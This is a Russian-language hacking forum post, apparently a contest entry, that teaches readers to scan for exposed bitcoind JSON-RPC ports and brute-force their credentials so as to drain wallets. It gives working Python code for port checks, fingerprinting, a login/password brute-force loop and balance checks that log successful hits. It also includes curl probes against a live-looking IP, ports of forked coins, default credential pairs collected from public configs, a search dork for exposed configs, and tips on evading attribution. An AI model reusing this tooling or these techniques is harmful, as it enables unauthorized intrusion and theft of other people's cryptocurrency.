Брутим крипту на примере bitcoind

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
7,248
Реакции
34
Доброго времени суток!
В кои-то веки решил тряхнуть стариной и поучаствовать в конкурсе на экспе. Великий и ужастный авось беспощаден к нашей жадности :)
Итак друзья, не будем тянуть сопли. Не будем придумывать схемы заработка на лохах, не будем строить пирамиды. Вы что? Мы же на темной стороне силы. Мы за хардкор и чернуху. Только хак, брут, сплоиты и уязвимости. "Наша работа во тьме!" ©Лукьяненко.

Начнем мы пожалуй с предыстории и теории.
Как быть если у вас стартап или сервис/сайт/магазин и вы хоите принимать биток в качестве оплаты? У вас есть два основных варинта. Первый и простой - это зарегиться на каком-то онлайн сервисе типа blockchain.com или любом другом (благо их теперь как грязи), затем освоить их API и через него подсовывать клиентам реквизиты для оплаты. ЛИБО у вас есть другой вариант. Поднять оригинальный bitcoin клиент, и принимать бабки самостоятельно. Скачать его можно https://bitcoin.org/ru/download
Для тех кто не в курсе, bitcoin имеет офиициальный клиент. Он бывает как графический так и консольный. Но и тот и другой взаимодействуют с демоном/сервисом, работающим самостоятельно. Именно данный демон соединяется с сетью, скачивает блоки транзакции и хранит их. Именно он отправляет и принимает битки, генерирует адреса, выдает данные о транзакциях и многое иное.

Когда вы используете сервис - тут все легко и просто. Апи оно и в африке черно-белое. Давай команды, получай ответы. НО. За прошедшее время было немало сервисов и онлайн-кошельков, которые внезапно .. закрывались, банкротились, уводили бабки, банили клиентов, холдили балансы, требовали апрува акков и т.д. И, как обычно, это было внезапно и больно.
Свой собственный демон - это и хорошо и плохо. Независимость является как бы несомненным плюсом, но вот безопасность и работоспособность ложится на ваши плечи.
Как бы оба варианта имеют право на жизнь, а что выбрать для себя решает владелец сервиса.

Неоднократно мне приходилось в своей практике настраивать bitcoind. Самое оригинальное, что в интернете миллиарды статей о установке и настройке официального клиента. Но вот беда, все они сводятся к настройке GUI-шного клиента. А вот настройке консольного - статей не так уж и много. И вроде все бы с ним хорошо и понятно, если потратить время на изучение вопроса, но есть один момент, который меня заинтересовал в свое время.Давайте рассмотрим заинтересовавшие меня участки рекомендованного дефолтного конфига.

Код:
# Bind to given address to listen for JSON-RPC connections.
# Refer to the manpage or bitcoind -help for further details.
#rpcbind=<addr>

В данном месте мы указываем на каком интерфейсе будем открывать порт для входящих соединений. По правильному надо бы указать 127.0.0.1, если у нас сайт находится на этом же сервере. Но почти везде доблестные диванные специалисты предлагают вписать свой белый ip адрес. А значит демон будет слушать внешний порт.

Код:
# By default, only RPC connections from localhost are allowed.
# Specify as many rpcallowip= settings as you like to allow connections from other hosts,
# either as a single IPv4/IPv6 or with a subnet specification.

# NOTE: opening up the RPC port to hosts outside your local trusted network is NOT RECOMMENDED,
# because the rpcpassword is transmitted over the network unencrypted.

# server=1 tells Bitcoin-Qt to accept JSON-RPC commands.
# it is also read by bitcoind to determine if RPC should be enabled
#rpcallowip=10.1.1.34/255.255.255.0
#rpcallowip=1.2.3.4/24
#rpcallowip=2001:db8:85a3:0:0:8a2e:370:7334/96

Большинство мануалов, на которые я ранее натыкался, сводились к настройке основных моментов работы, но напрочь игнорировали ИНТЕРФЕЙС на котором принимаются запросы. В них тупо написано вписать в конфиг 0.0.0.0/0 Гениально, не правда ли? Еще один важный, на мой взгляд, момет - в демоне нет защиты от брута. А это значит ... что его можно брутить. Притом это можно делать на хорошей скорости ибо таймаутов нет. Беглый поиск по интернету не принес никаких результатов. Утилит для брута найдено не было. И это несколько поставило меня в ступор. Я что, реально первый кто подумал об этом? Да ладно... Надо пробовать.



Сказано - сделано. Начать я решил с локальных тестов. Скачал указанный архив, настроил и запустил синхронизацию. А это... ни много не мало, а 400 гребанных гигов...
По умолчанию демон принимает запросы на порту 8332. Имеется два передаваемых параметра - это логин и пароль.
Итак что нам нужно выяснить в первую очередь:
1. Открыт ли порт
2. Разрешено ли ему отвечать нам
3. Далее запускаем брут и читаем коды ответов
4. Если код ответа верный (двухсотый) узнаем балланс на кошельке

Так как программист из меня, мягко говоря, хреновый, то писать я буду так как у мею и на чем мне больше нравится. Главное же идею передать, а реализаций может быть много и разных.

Я пошел по пути наименьшего сопротивления. Проверяю порт. Если он открыт и мы можем установить соединение - значит нас не банит фаерволл и нам возможно ответит демон. Это особенно полезно если, как я, использовать предварительно masscan или его аналоги.

Код:
def isOpen(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    try:
        s.connect((ip, port))
        s.shutdown(socket.SHUT_RDWR)
        return True
    except:
        return False
    finally:
        s.close()

Если мы смогли установить содениние - делаем запрос данных. Имеется простой ручной способ проверки ответа. Обычным курлом.

Код:
curl -s -I -X POST http://27.101.156.131:8332/

В ответ должно вернуться следующее

Код:
HTTP/1.1 401 Unauthorized
{'WWW-Authenticate': 'Basic realm="jsonrpc"', 'Date': 'Mon, 16 Nov 2020 09:33:38 GMT', 'Content-Length': '0', 'Content-Type': 'text/html; charset=ISO-8859-1'}

Курл нам интересен мало. Поэтому повторяем на питоне

Код:
def read_header(ip):
    payload = {"jsonrpc":"2.0","method":"getbalance","params":[]}
    try:
        response = requests.post("http://"+ip+":"+str(port), data = payload, timeout=3)
    except:
        status = file.writeto(bad_log, ip + ' Failed to connect')
        return False
      
    #  по хорошему надо бы проверять все возможные варианты 500, 401, 400, 200
    if (response.status_code == 401) or (response.status_code == 500) or (response.status_code == 400) or (response.status_code == 200):
        if str(response.headers).find('Basic realm="jsonrpc"') != -1:
            return True
    else:
        return False

Давайте кратко поясню. Мы делаем запрос на указанный ip:port. Если ответ есть и он содержит Basic realm="jsonrpc" - это наш клиент. Брутим.

Код:
def brute(ip):
    status = True
    for login in login_list:
        if status:
            login = login.strip()
            for password in password_list:
                if status:
                    password = password.strip()
                    response = get_bal(ip, login, password)
                    if response != False:
                        if response.status_code == 200:
                            print(response.content)
                            bal = check_ballance(response)
                            file.writeto(good_log, ip + ', login:'+login+', password: '+password+', ballance:'+bal)
                            status = False

Тут все предельно просто. Брутим или пока не найдем правильный логин+пароль или пока не закончатся словари. Если логин/пасс правильные - сразу же чакаем балланс и пишем все в лог-файл. Для удобства можно так же отправлять сразу в телегу/жабу/твиттер :)

Собственно балланс чекается легко и просто.

Код:
curl --user login:password --data-binary '{"jsonrpc": "1.0", "id": "curltest", "method": "getbalances", "params": []}' -H 'content-type: text/plain;' http://127.0.0.1:8332/

Делаем на питоне:

Код:
def get_bal(ip, login, passwd):
    url = "http://"+login+":"+passwd+"@"+ip+":"+str(port)
    headers = {'content-type': 'application/json'}
    rpc_input = {"method": "getbalance"}
    rpc_input.update({"jsonrpc": "2.0", "id": "0"})
    try:
        response = requests.post(
            url,
            data=json.dumps(rpc_input),
            headers=headers)
        return response
    except:
        return False

Стандартный запрос. Даже пояснения писать не хочется.



Тесты на локальной железке показати довольно хорошую скорость брута, даже в один поток. Можно было бы присобачить многопоточность и кучу других плюшек. Но это я оставлю уже вам.

Кстати, интереса ради оставлю здесь btc кош 1DXVoyWmakPMWh756Goie1T48zVkoS6WZc

Кто реально сбрутит любой кош - бросьте любую сумму. А я, да и любой желающий, посмотрим по количеству транзакций принесло кому-то это пользу или пустая трата времени.



А теперь самый прикол. Дело в том, что основные криптовалюты (самые старые) форкались от основного софта. И по-сути имеют те же самые алгоритмы работы и тот же самый демон на основе bitcoind.
Так например можно попробовать поискать dash на 8999 порту, или litecoin на 2339 порту и многие другие. Фантазия битком не ограничивается.

О чем хотелось еще рассказать? Так это о поиске жертв. Ввиду моей "известности" в реале, сделать боевые тесты я не мог. Но интереса ради я просканил несколько диапазоно masscan-ом. Хотелось быстро найти таргеты и зарядить их на банальную дефолтную связку логина/пароля (rpcuser:rpcpassword). Но столкнулся с очень интересным эффектом. Оказывается насканить можно дохриллион адресов, но ввиду огромного количества ханипотов и левых сервисов там может висеть все что угодно. Тему некоторое время назад обсуждали на xss с моей подачи. Кому будет интересно - найдут. Поэтому и присобачивал чекалку портов в коде выше.

Вот собственно и вся история. Сорцы целиком выкинул на https://github.com/k2name/bitcoind_bruteforce . Я там немного многопоточности прикрутил. В общем развлекайтесь други мои. Ибо "лох не мамонт, не вымрет". А имбицилов с дефолтными логинами и паролями даже в проде дофига встречается. А если вы обладатель шикарного словаря - то вам и карты в руки.
Дополнительный момент о котором чуть не забыл написать - ip с неверными авторизациями светится в логе самого демона. Поэтому, ну как минимум, не рекомендуется развлекаться с виртуалок/серваков купленных на ваше имя. Помните об анонимности.

Всем хорошего настроения и удачи в темных (и не только) делах. Заранее благодарю всех кто проголосует за меня.

p.s. немного полезных ссылок в тему
https://github.com/bitcoin/bitcoin/blob/master/share/examples/bitcoin.conf дефолтный конфиг
https://jlopp.github.io/bitcoin-core-config-generator/ генератор конфигов

p.p.s. Я тут корону словил, хреново мне сильно. С трудом осилял этот текст накатать. Так что сильно не пинайте если где-то что-то не так. Спасибо за понимание.

Дополнительно:

Порты - default: 8332, testnet: 18332, signet: 38332, regtest: 18443

https://github.com/carnesen-archive/bitcoin-config
rpcport=33333
rpcuser=carnesen
rpcpassword=abcd1234
rpcpassword=password

https://github.com/rayspock/bitcoin-conf-testnet/blob/master/bitcoin.conf
rpcport=29000
rpcuser=btcrpc
rpcpassword=25459668

https://github.com/snakewarhead/bitcoin-config/blob/master/bitcoin.conf
rpcport=7001
rpcuser=test
rpcpassword=test

https://github.com/bitlinc/bitcoin_config

rpcport=8332
rpcuser=bitcoinmainnetusername
rpcpassword=bitcoinmainnetpassword

https://github.com/MohamedLEGH/bitcoin-lightning-conf/blob/master/bitcoin.conf

rpcport=18443
rpcuser=mohamed
rpcpassword=siasia

https://github.com/dondreytaylor/bitcoin-configs/blob/master/bitcoingold.conf

rpcport=8332
rpcuser=bitcoingold
rpcpassword=bitcoingold

bitcoin filetype:conf rpcuser= 0.0.0.0/0

7ce64da3000c4d2d4b7b7.png

Автор: Ar3s, corporat
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.